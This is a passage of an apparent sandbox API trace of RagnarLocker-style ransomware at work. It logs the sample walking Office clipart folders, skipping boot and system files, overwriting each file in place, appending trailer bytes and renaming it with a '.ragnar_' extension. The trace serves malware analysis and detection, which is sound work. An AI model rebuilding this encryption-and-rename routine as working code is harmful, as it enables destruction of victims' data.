office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.395] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0083.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.395] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099202.GIF" | out: lpString1="J0099202.GIF") returned="J0099202.GIF" [0083.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned=".GIF" [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="autorun.inf") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="boot.ini") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="bootfont.bin") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="bootsect.bak") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="bootmgr") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="bootmgr.efi") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="bootmgfw.efi") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="desktop.ini") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="iconcache.db") returned 1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="ntldr") returned -1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="ntuser.dat") returned -1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="ntuser.dat.log") returned -1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="ntuser.ini") returned -1 [0083.395] lstrcmpiW (lpString1="J0099202.GIF", lpString2="thumbs.db") returned -1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.396] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0083.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.396] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4967) returned 1 [0083.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x135e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.396] GetProcessHeap () returned 0x580000 [0083.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.396] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.398] VirtualAlloc (lpAddress=0x0, dwSize=0x1367, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.398] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1367, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1367, lpOverlapped=0x0) returned 1 [0083.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.399] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1367, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.399] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1367, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1367, lpOverlapped=0x0) returned 1 [0083.399] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1367, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.399] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.399] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.399] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.399] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.399] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.400] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.400] GetProcessHeap () returned 0x580000 [0083.400] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.400] CloseHandle (hObject=0xf4) returned 1 [0083.400] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" [0083.400] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.ragnar_FD7BD9FC" [0083.400] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.400] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0083.400] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.400] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099203.GIF" | out: lpString1="J0099203.GIF") returned="J0099203.GIF" [0083.400] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned=".GIF" [0083.400] lstrcmpiW (lpString1="J0099203.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.400] lstrcmpiW (lpString1="J0099203.GIF", lpString2="autorun.inf") returned 1 [0083.400] lstrcmpiW (lpString1="J0099203.GIF", lpString2="boot.ini") returned 1 [0083.400] lstrcmpiW (lpString1="J0099203.GIF", lpString2="bootfont.bin") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="bootsect.bak") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="bootmgr") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="bootmgr.efi") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="bootmgfw.efi") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="desktop.ini") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="iconcache.db") returned 1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="ntldr") returned -1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="ntuser.dat") returned -1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="ntuser.dat.log") returned -1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="ntuser.ini") returned -1 [0083.401] lstrcmpiW (lpString1="J0099203.GIF", lpString2="thumbs.db") returned -1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.401] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0083.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.401] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3904) returned 1 [0083.401] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.402] GetProcessHeap () returned 0x580000 [0083.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.402] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.403] VirtualAlloc (lpAddress=0x0, dwSize=0xf40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.403] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf40, lpOverlapped=0x0) returned 1 [0083.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.403] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf40, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.403] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf40, lpOverlapped=0x0) returned 1 [0083.404] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.404] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.404] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.404] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.404] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.404] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.404] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.404] GetProcessHeap () returned 0x580000 [0083.404] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.404] CloseHandle (hObject=0xf4) returned 1 [0083.404] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" [0083.404] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.ragnar_FD7BD9FC" [0083.404] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.405] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0083.405] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.405] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099204.WMF" | out: lpString1="J0099204.WMF") returned="J0099204.WMF" [0083.405] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned=".WMF" [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="autorun.inf") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="boot.ini") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="bootfont.bin") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="bootsect.bak") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="bootmgr") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="bootmgr.efi") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="bootmgfw.efi") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="desktop.ini") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="iconcache.db") returned 1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="ntldr") returned -1 [0083.405] lstrcmpiW (lpString1="J0099204.WMF", lpString2="ntuser.dat") returned -1 [0083.406] lstrcmpiW (lpString1="J0099204.WMF", lpString2="ntuser.dat.log") returned -1 [0083.406] lstrcmpiW (lpString1="J0099204.WMF", lpString2="ntuser.ini") returned -1 [0083.406] lstrcmpiW (lpString1="J0099204.WMF", lpString2="thumbs.db") returned -1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.406] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0083.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.407] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17854) returned 1 [0083.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.407] GetProcessHeap () returned 0x580000 [0083.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.407] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.408] VirtualAlloc (lpAddress=0x0, dwSize=0x45be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.409] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.409] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x45be, lpOverlapped=0x0) returned 1 [0083.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.410] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45be, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.410] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x45be, lpOverlapped=0x0) returned 1 [0083.410] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.410] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.411] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.411] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.411] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.411] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.411] GetProcessHeap () returned 0x580000 [0083.411] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.411] CloseHandle (hObject=0xf4) returned 1 [0083.411] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" [0083.411] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.ragnar_FD7BD9FC" [0083.411] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.412] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0083.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program 